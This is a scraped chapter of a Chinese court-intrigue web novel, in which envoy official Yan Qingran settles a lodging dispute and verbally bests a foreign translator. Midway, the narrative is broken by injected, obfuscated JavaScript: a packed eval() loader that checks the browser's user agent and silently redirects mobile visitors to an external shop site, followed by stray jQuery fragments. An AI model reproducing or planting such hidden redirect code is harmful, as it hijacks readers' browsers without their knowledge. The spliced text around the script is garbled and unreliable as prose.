文趣网 > 都市小说 > 莫问青染(女尊) > 87. 长嘴
    城门外,晏青染并未见到长帝卿真颜,只陈国大皇女骑着马,居高临下地受了她们的礼。

    到了四方馆门口,长帝卿又作妖,死活不肯住鸿胪寺准备好的使团下榻处,非要住进他曾经的帝卿府。

    礼部是新上任的一个姓郑的侍郎过来的,直呼不合规矩,鸿胪寺这边是个年长的老妪,姓冯,似乎还跟长帝卿很熟,长帝卿不下銮车,就是她来回传话的。

    听到郑侍郎说不合规矩,冯少卿头一个反驳:“如何不合规矩?”

    “说到底,王夫亦是我们大燕的长帝卿,他这是回家了,住自己的帝卿府,怎么就不合规矩了?”

    一连两句质问,直说得礼部侍郎哑口无言。

    但众人也不敢轻易下决定,于是又麻烦方掌宫回宫了一趟,去寻求陛下的主意。

    等方掌宫回来,夕阳已经西斜,晏青染看使团里个个也都疲累不堪,对这位还没见面的长帝卿印象完全降至冰点。

    其实也能想象,一个为了逃避和亲,都能随便找个女人搞大肚子的帝卿,如何能期望他能体谅人间的疾苦。

    必然是极度自私,视众生如草芥的。

    方掌宫传回了皇帝的意思,长帝卿可住帝卿府,但陈国使团还得留在四方馆。

    使团中有人出来反对:“不行,若离了我陈国的护卫,王夫的安全何以保证?”

    晏青染身后有一禁卫统领嗤笑道:“我大燕法度严明,京中更是路不拾遗,夜不闭户,安全得很。”

    “倒是您......”她将那陈国使臣从头看到脚,“若真有宵小来犯,难不成多了大人您在,那宵小便能自动退避?”

    “还是说,您功力深厚,能凭一人之力击退所有宵小。”

    “你,你怎么说话的?”那使臣被她激怒,瞬间跳脚。

    “若我们王夫在你们大燕的地界儿上出事,您能担得了责吗?”

    “本官虽不能击退宵小,但万一有敌来犯,本官必然身先士卒,头一个替王夫挡刀。”

    “切,就你?”禁卫统领露出一丝不屑。

    “你,你这什么眼神?”那陈国使臣一副要冲过来干架的趋势,被她左右两人及时拉住。

    她犹不服气:“好你个大燕,我们是随王夫来参加你们太夫的寿宴的,你们就是这般待客的。”

    “我总算是看清了,你们这就是在给我们陈国下马威,瞧不起我们陈国呢。”

    “等等,等等。”晏青染及时出声。

    她问:“你什么品级?”

    那官员一愣,她这时问品级干啥?

    但看她站在众人之前,想必就是这次接待他们的馆伴使,也不好不答。

    她稍稍收敛气焰,低下头颅道:“下官陈国鸿胪寺译丞,见过馆伴使大人。”

    难怪燕语能说得如此流利。

    晏青染眉头挑了挑:“典客署译丞,从八品下?”

    那译丞眉头紧皱,总觉得她这话语中无端带了些轻视。

    只是官高一级压死人,她再不服气,也不敢与她叫嚣。

    晏青染又扭头去问那禁卫统领:“你呢,什么品级?”

    那禁卫统领没成想她也会被问,愣了片刻连忙低头回道:“卑职禁卫军指挥使王桃,从六品。”

    晏青染微微一笑:“哟,不错,比她还高上好几级。”

    王桃只觉额角三根黑线,她怎么感觉这不是啥好话。

    可晏学士是众所周知的谦谦女君,该是她想多了吧。

    晏青染笑意略收:“不过人家有句话说的对,来者是客,你怎么都该让着人家的。”

    王桃一脸的懵。

    晏学士这是要帮陈国人?

    “道歉。”旁边林湘突然开口。

    王桃心有不服,但两尊大佛都说她错了,她也只能照做。

    “对不住。”说完,她便将头昂的高高的。

    晏青染没理会她的不服,回头看向那陈国译丞。

    “这位大人,她都道歉了,你呢?”

    那译丞正暗爽着,被她这一点,表情立马微妙起来。

    “我?”

    “我有什么错,事儿又不是我挑起的。”

    晏青染笑出声。

    好好好,她就喜欢这么桀骜不顺的。

    但愿她能一直坚持。

    “是吗?”她冷笑道。

    这笑太诡异,那译丞只觉心中一咯噔。

    反观大燕这边,皆是一脸看好戏的表情。

    晏学士人如其名,长相气质如那不染尘埃的出水青莲,可偏偏长了一张嘴,骂人不带脏话,说死人不偿命的那种。

    晏青染声音不高不低:“其实本也没多大的事,若非大人您一句话就上升到两国邦交的层面上来,本伴使也不愿掺和您俩的口角。”

    那译丞瞬间脸如锅灰,黑的深沉。

    郑侍郎远远地给她竖了一个大拇指,这一下午的窝囊气总算纾解了一半。

    晏青染继续道:“况且在您那儿,长帝卿是你陈国的王夫,可在本伴使这儿,他就是我们大燕的大长帝卿,为燕陈两国邦交立下不世之功的大功臣。”

    “缘何你会觉得,我大燕会将这么一位大功臣者置于危险之地。”

    “还是您提前知道了些什么,断定有人要对他不利?”

    最后一句话落下,不但那译丞面色突变,便是陈国使团那边都脸色大变。

    晏青染看陈国那大皇女眼中暗光微闪,显然已经有了杀意。

    就在这气氛微妙之际,晏青染又是一笑:“害,本伴使也就是说笑一下,你们还当真了不成。”

    “行了,天色也不早了。”她双手一拍,将所有人的目光都吸引过来。

    “各位大人在路上奔波了大半个月,想必也都累了,馆中给各位都备了热水和各种助兴节目,大人们就将这儿当成自己的家,好好休息休息。休息好了,自会有人来陪同各位在这京都周围走走看看。”

    “至于长帝卿,各位放心,帝卿府一直都有人留守,每日清扫,布局和一应事务也是按帝卿喜好所配,使者们若不放心帝卿安全,可由陈国护卫团贴身护送,我大燕将士只在外围保护,配合你陈国扈从。”

    晏青染刚说完,銮车中便传出一阵清脆的笑声:“哈哈哈,好一张巧嘴,这好的坏的都你一人说了。”

    “我陈国使者凭啥要听你的?”

    晏青染皱了皱眉,这声音听着年轻,应该不是长帝卿。

    她往方掌宫那儿看了一眼,后者给她摊了摊手,也是一脸

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730127|203116||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    无辜。

    不过她这反应也能证明,说话的的确不是长帝卿。

    那能是何人?

    车内除了长帝卿,能坐的就是他的贴身男官。

    可一个男官敢嚣张至此?

    “怎么不说话了?”那声音继续道:“是说不出来了吗?”

    “哼,也不过如此。”

    晏青染笑笑,管他什么身份,人吗,就是要难得糊涂。

    她笑道:“此言差矣。”

    “本伴使从不曾言说要你陈国使者听我的,我刚开始就说了,来者是客,但这后面还连着一句,客随主便。”

    “这里是燕都,既是来使,当住四方馆才是。”

    “总不可能来使还想做我们这燕都的主不成。”

    “哼,”里头那位气得不轻,“我可没这么说。”

    “你休要诬赖人。”

    “靖儿。”里头突然传来一声呵斥。

    这声音比之前者更加沉厚。

    晏青染秒懂,这才是正主。

    果然,那道声音又继续传来。

    “早听融儿说过,晏学士是个极有趣的人,今儿一见,果真并非虚言。”

    “本宫现在倒有些期待接下来的行程了。”

    晏青染头皮发麻。

    她来当这个劳什子馆伴使果然跟费融脱不开关系。

    只是大庭广众的,这位都不避讳一下的吗?

    还有刚刚那一声“靖儿”,若她没猜错,应该就是陈国年纪最小的皇子,长帝卿最最疼爱的小儿子慕容靖。

    他怎么来了?

    使团名册上也没有他啊。

    她又往方掌宫看了看,后者显然比她更慌。

    这来了一个大皇女不说,还外加一个得宠的小皇子,关键是,还一路瞒着身份。

    这是要闹哪样?

    两人还在眼神交流,又听那銮车里传出长帝卿的声音:“行了,都听晏伴使的安排,该怎么样就怎么样,你们这一路不累,本宫还累。”

    “晨儿,你留在这里看着,我们这次回来是参加你外祖父的圣寿宴的,别让一些不长眼的闹了误会,到时还要本宫再来收拾烂摊子。”

    那陈国大皇女连忙回道:“谨遵父后令。”

    然后又转来向晏青染作揖:“父后就拜托伴使大人了。”

    晏青染犹记得城外她那睥睨众生的模样,这脸倒是换得快。

    不过她也不遑多让,笑得跟花儿似的:“应该的,应该的。”

    然后她跟礼部还有鸿胪寺的几位简单交流了一下,便带着銮车继续往帝卿府赶。

    到了帝卿府,已是暮色降临,尽管帝卿府的灯笼挂了一排排,晏青染也只远远瞧了个大概,连长帝卿具体长什么样都没瞧清楚。

    长帝卿让人给她传了话,明天午时之前不用过来,即便过来了,他也起不来。

    一国帝夫,能随性至此,她倒有几分相信,传言中的陈帝对他的宠爱只怕不假。

    早上不用起早,她自然乐意至极。

    只是这乐极还没走几步就生了悲。

    因为方掌宫告知她,明日得上早朝。

    这是陛下特意交代了的。

    晏青染顿时觉得所有的好心情在这一瞬烟消云散。